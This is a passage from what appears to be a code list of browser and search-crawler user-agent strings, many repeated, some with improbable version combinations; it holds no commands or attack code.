'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
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'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
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'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
'Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
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'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
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'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
